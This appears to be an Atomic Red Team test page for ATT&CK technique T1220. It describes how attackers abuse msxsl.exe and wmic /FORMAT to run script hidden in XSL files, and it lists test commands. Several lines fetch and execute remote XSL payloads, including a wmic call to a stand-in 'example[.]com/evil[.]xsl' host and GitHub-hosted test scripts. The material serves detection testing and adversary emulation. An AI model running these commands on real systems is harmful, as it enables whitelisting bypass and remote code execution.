Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Similar to Trusted Developer Utilities, the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)
msxsl.exe customers[.]xml script[.]xsl
msxsl.exe script[.]xsl script[.]xsl
msxsl.exe script[.]jpeg script[.]jpeg
Another variation of this technique, dubbed “Squiblytwo”, involves using Windows Management Instrumentation to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its Regsvr32/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in Windows Management Instrumentation provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)
- Local File:
wmic process list /FORMAT:evil[.]xsl
- Remote File:
wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”
Executes the code specified within a XSL script tag during XSL transformation using a local payload. Requires download of MSXSL from Microsoft at https://www.microsoft.com/en-us/download/details.aspx?id=21714.
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
xmlfile | Location of the test XML file on the local filesystem. | Path | PathToAtomicsFolder\T1220\src\msxslxmlfile.xml |
xslfile | Location of the test XSL script file on the local filesystem. | Path | PathToAtomicsFolder\T1220\src\msxslscript.xsl |
C:\Windows\Temp\msxsl.exe #{xmlfile} #{xslfile}
Executes the code specified within a XSL script tag during XSL transformation using a remote payload. Requires download of MSXSL from Microsoft at https://www.microsoft.com/en-us/download/details.aspx?id=21714.
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
xmlfile | Remote location (URL) of the test XML file. | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslxmlfile.xml |
xslfile | Remote location (URL) of the test XSL script file. | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslscript.xsl |
C:\Windows\Temp\msxsl.exe #{xmlfile} #{xslfile}
Executes the code specified within a XSL script using a local payload.
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
wmic_command | WMI command to execute using wmic.exe | string | process list |
local_xsl_file | Location of the test XSL script file on the local filesystem. | path | PathToAtomicsFolder\T1220\src\wmicscript.xsl |
wmic.exe #{wmic_command} /FORMAT:#{local_xsl_file}
Executes the code specified within a XSL script using a remote payload.
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
wmic_command | WMI command to execute using wmic.exe | string | process list |
remote_xsl_file | Remote location of an XSL payload. | url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl |
wmic.exe #{wmic_command} /FORMAT:#{remote_xsl_file}